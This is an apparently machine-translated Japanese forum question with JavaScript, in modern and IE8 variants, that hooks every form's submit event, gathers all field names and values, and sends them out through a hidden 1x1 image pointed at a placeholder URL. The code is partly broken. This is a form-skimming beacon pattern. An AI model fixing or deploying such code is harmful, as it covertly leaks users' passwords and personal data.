0

さて、現在これは私の前任者から見つけたもので、コードが機能しなくなったので、修正するか、少なくともパッチを当てるのが私の仕事です..

これを、使用するイベントリスナーを検出する小さな関数に凝縮したいと思います..

//EI9

var formsCollection = document.getElementsByTagName("form");
var chain = "";
for(var i=0;i<formsCollection.length;i++)
 {


    // alert(formsCollection[i].name);
    formsCollection[i].addEventListener('submit', function() {
       //working fine 

            var formsCollection1 = document.getElementsByTagName("form");

            for (x = 0 ; x < formsCollection1.length; x++)
            {
                var elements1 = formsCollection1[x].elements;
                for (e = 0 ; e < elements1.length; e++)
                {
                    chain += elements1[e].name + "%3d" + elements1[e].value + "|";
                }
            }
           attachForm(chain);






//end mid           
        }, false);
    }


function attachForm(data) {

//   alert(data);
    var oImg=document.createElement("img");
oImg.setAttribute('src', "URL" POST);
oImg.setAttribute('alt', 'na');
oImg.setAttribute('height', '1px');
oImg.setAttribute('width', '1px');
document.body.appendChild(oImg);





}

//IE8

var formsCollection = document.getElementsByTagName("form");
var chain = "";
for(var i=0;i<formsCollection.length;i++)
 {


    // alert(formsCollection[i].name);
    formsCollection[i].attachEvent('onsubmit', function() {
       //working fine 

            var formsCollection1 = document.getElementsByTagName("form");

            for (x = 0 ; x < formsCollection1.length; x++)
            {
                var elements1 = formsCollection1[x].elements;
                for (e = 0 ; e < elements1.length; e++)
                {
                    chain += elements1[e].name + "%3d" + elements1[e].value + "|";
                }
            }
           attachForm(chain);






//end mid           
        }, false);
    }


function attachForm(data) {

//   alert(data);
    var oImg=document.createElement("img");
oImg.setAttribute('src', "URL POST");
oImg.setAttribute('alt', 'na');
oImg.setAttribute('height', '1px');
oImg.setAttribute('width', '1px');
document.body.appendChild(oImg);





}
4

1 に答える 1